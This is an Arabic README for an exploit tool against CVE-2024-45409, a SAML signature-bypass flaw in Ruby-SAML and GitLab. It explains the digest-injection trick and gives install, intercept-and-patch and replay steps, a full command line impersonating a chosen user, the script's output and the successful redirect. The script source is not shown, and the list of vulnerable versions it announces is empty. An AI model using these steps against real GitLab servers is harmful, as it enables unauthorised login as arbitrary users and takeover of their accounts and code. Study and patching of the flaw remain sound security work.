
استغلال ثغرة تجاوز المصادقة في Ruby-SAML / GitLab (CVE-2024-45409)
يستغل هذا السكربت الثغرة CVE-2024-45409 التي تسمح لمهاجم غير مصادَق يملك إمكانية الوصول إلى أي مستند SAML موقَّع صادر عن موفر الهوية (IDP) بتزوير استجابة/تأكيد SAML والوصول إلى GitLab كمستخدم عشوائي.
جميع إصدارات GitLab (CE/EE) التالية معرضة للثغرة:
يحقن هذا الاستغلال DigestValue للتأكيد المعدَّل في عنصر StatusDetail، مما يسمح بتمرير محدد XPath الذي سيستخدم هذه القيمة بدلاً من القيمة الموجودة في كتلة SignedInfo.
apt install python3-lxml
اعترض عنوان URL واستجابة SAML الخاصة بموفر الهوية والمشفّرة بـ Base64 أولاً، ثم عدّل محتوى XML باستخدام السكربت.
POST /users/auth/saml/callback HTTP/1.1
Host: gitlab.test.local
[...]
SAMLResponse=PHNhbWxwOlJlc3Bv[...]
$ python3 CVE-2024-45409.py -r response.url_base64 -n [email protected] -d -e -o response_patched.url_base64
[+] Parse response
Digest algorithm: sha256
Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response_patched.url_base64
بعد ذلك، استبدل قيمة المعامل SAMLResponse بمخرجات السكربت. إذا نجحت المصادقة، ستتم إعادة توجيهك إلى الصفحة الرئيسية لـ GitLab.
HTTP/1.1 302 Found
Location: http://gitlab.test.local/
[...]
<html><body>You are being <a href="http://gitlab.test.local/">redirected</a>.</body></html>